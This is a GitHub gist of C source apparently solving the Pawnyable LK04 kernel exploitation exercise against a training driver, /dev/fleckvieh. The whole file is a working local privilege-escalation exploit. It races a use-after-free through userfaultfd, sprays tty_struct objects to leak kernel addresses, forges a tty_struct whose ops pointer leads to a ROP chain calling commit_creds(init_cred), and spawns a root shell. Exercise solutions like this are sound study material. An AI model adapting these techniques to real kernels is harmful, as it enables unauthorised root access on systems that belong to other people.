Last active
January 13, 2023 08:59
-
-
Save brant-ruan/a72116a6a308d4a349df65b2a734fa51 to your computer and use it in GitHub Desktop.
Pawnyable LK04
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <assert.h> | |
#include <fcntl.h> | |
#include <linux/userfaultfd.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <sched.h> | |
#include <signal.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define CMD_ADD 0xf1ec0001 | |
#define CMD_DEL 0xf1ec0002 | |
#define CMD_GET 0xf1ec0003 | |
#define CMD_SET 0xf1ec0004 | |
#define SPRAY_NUM 0x10 | |
#define ofs_tty_ops 0xc3c3c0 | |
#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a) | |
#define commit_creds (kbase + 0x072830) | |
#define pop_rdi_ret (kbase + 0x09b0ed) | |
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26) | |
#define init_cred (kbase + 0xe37480) | |
void fatal(const char *msg) { | |
perror(msg); | |
exit(1); | |
} | |
typedef struct { | |
long id; | |
size_t size; | |
char *data; | |
} request_t; | |
unsigned long user_cs, user_ss, user_sp, user_rflags; | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
int ptmx[SPRAY_NUM]; | |
cpu_set_t pwn_cpu; | |
int victim; | |
int fd; | |
char *buf; | |
unsigned long kbase, kheap; | |
int add(char *data, size_t size) { | |
request_t req = {.size = size, .data = data}; | |
int r = ioctl(fd, CMD_ADD, &req); | |
if (r == -1) | |
fatal("blob_add"); | |
return r; | |
} | |
int del(int id) { | |
request_t req = {.id = id}; | |
int r = ioctl(fd, CMD_DEL, &req); | |
if (r == -1) | |
fatal("blob_del"); | |
return r; | |
} | |
int get(int id, char *data, size_t size) { | |
request_t req = {.id = id, .size = size, .data = data}; | |
int r = ioctl(fd, CMD_GET, &req); | |
if (r == -1) | |
fatal("blob_get"); | |
return r; | |
} | |
int set(int id, char *data, size_t size) { | |
request_t req = {.id = id, .size = size, .data = data}; | |
int r = ioctl(fd, CMD_SET, &req); | |
if (r == -1) | |
fatal("blob_set"); | |
return r; | |
} | |
static void *fault_handler_thread(void *arg) { | |
static struct uffd_msg msg; | |
struct uffdio_copy copy; | |
struct pollfd pollfd; | |
long uffd; | |
static int fault_cnt = 0; | |
puts("[t][*] set cpu affinity"); | |
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) | |
fatal("sched_setaffinity"); | |
uffd = (long)arg; | |
puts("[t][*] waiting for page fault"); | |
pollfd.fd = uffd; | |
pollfd.events = POLLIN; | |
while (poll(&pollfd, 1, -1) > 0) { | |
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) | |
fatal("poll"); | |
if (read(uffd, &msg, sizeof(msg)) <= 0) | |
fatal("read(uffd)"); | |
assert(msg.event == UFFD_EVENT_PAGEFAULT); | |
puts("[t][+] caught page fault"); | |
switch (fault_cnt++) { | |
case 0: | |
case 1: { | |
puts("[t][*] UAF read"); | |
del(victim); | |
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); | |
for (int i = 0; i < SPRAY_NUM; i++) { | |
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (ptmx[i] == -1) | |
fatal("/dev/ptmx"); | |
} | |
copy.src = (unsigned long)buf; | |
break; | |
} | |
case 2: { | |
puts("[t][*] UAF write"); | |
printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100); | |
for (int i = 0; i < 0x100; i++) | |
add(buf, 0x400); | |
del(victim); | |
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); | |
for (int i = 0; i < SPRAY_NUM; i++) { | |
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (ptmx[i] == -1) | |
fatal("/dev/ptmx"); | |
} | |
copy.src = (unsigned long)buf; | |
break; | |
} | |
default: | |
fatal("[t][-] unexpected page fault"); | |
} | |
copy.dst = (unsigned long)msg.arg.pagefault.address; | |
copy.len = 0x1000; | |
copy.mode = 0; | |
copy.copy = 0; | |
if (ioctl(uffd, UFFDIO_COPY, ©) == -1) | |
fatal("ioctl(UFFDIO_COPY)"); | |
} | |
return NULL; | |
} | |
int register_uffd(void *addr, size_t len) { | |
struct uffdio_api uffdio_api; | |
struct uffdio_register uffdio_register; | |
long uffd; | |
pthread_t th; | |
puts("[*] registering userfaultfd"); | |
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); | |
if (uffd == -1) | |
fatal("userfaultfd"); | |
uffdio_api.api = UFFD_API; | |
uffdio_api.features = 0; | |
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) | |
fatal("ioctl(UFFDIO_API)"); | |
uffdio_register.range.start = (unsigned long)addr; | |
uffdio_register.range.len = len; | |
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; | |
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) | |
fatal("UFFDIO_REGISTER"); | |
puts("[*] spawning a fault handler thread"); | |
if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)) | |
fatal("pthread_create"); | |
return 0; | |
} | |
int main() { | |
save_userland_state(); | |
puts("[*] set cpu affinity"); | |
CPU_ZERO(&pwn_cpu); | |
CPU_SET(0, &pwn_cpu); | |
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) | |
fatal("sched_setaffinity"); | |
fd = open("/dev/fleckvieh", O_RDWR); | |
if (fd == -1) | |
fatal("/dev/fleckvieh"); | |
void *page; | |
page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (page == MAP_FAILED) | |
fatal("mmap"); | |
printf("[+] mmap three pages at 0x%llx\n", (long long unsigned int)page); | |
register_uffd(page, 0x3000); | |
buf = (char *)malloc(0x1000); | |
puts("[*] UAF#1 leak kbase"); | |
puts("[*] reading 0x20 bytes from victim blob to page#1"); | |
victim = add(buf, 0x400); | |
get(victim, page, 0x20); | |
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops; | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(ptmx[i]); | |
puts("[*] UAF#2 leak kheap"); | |
victim = add(buf, 0x400); | |
puts("[*] reading 0x400 bytes from victim blob to page#2"); | |
get(victim, page + 0x1000, 0x400); | |
kheap = *(unsigned long *)(page + 0x1038) - 0x38; | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(ptmx[i]); | |
printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap); | |
puts("[*] crafting fake tty_struct in buf"); | |
memcpy(buf, page + 0x1000, 0x400); | |
unsigned long *tty = (unsigned long *)buf; | |
tty[0] = 0x0000000100005401; // magic | |
tty[2] = *(unsigned long *)(page + 0x10); // dev | |
tty[3] = kheap; // ops | |
tty[12] = push_rdx_pop_rsp_pop_ret; // ops->ioctl | |
puts("[*] crafting rop chain"); | |
unsigned long *chain = (unsigned long *)(buf + 0x100); | |
*chain++ = 0xdeadbeef; // pop | |
*chain++ = pop_rdi_ret; | |
*chain++ = init_cred; | |
*chain++ = commit_creds; | |
*chain++ = swapgs_restore_regs_and_return_to_usermode; | |
*chain++ = 0x0; | |
*chain++ = 0x0; | |
*chain++ = (unsigned long)&spawn_shell; | |
*chain++ = user_cs; | |
*chain++ = user_rflags; | |
*chain++ = user_sp; | |
*chain++ = user_ss; | |
puts("[*] UAF#3 write rop chain"); | |
victim = add(buf, 0x400); | |
set(victim, page + 0x2000, 0x400); | |
puts("[*] invoking ioctl to hijack control flow"); | |
for (int i = 0; i < SPRAY_NUM; i++) | |
ioctl(ptmx[i], 0, kheap + 0x100); | |
getchar(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment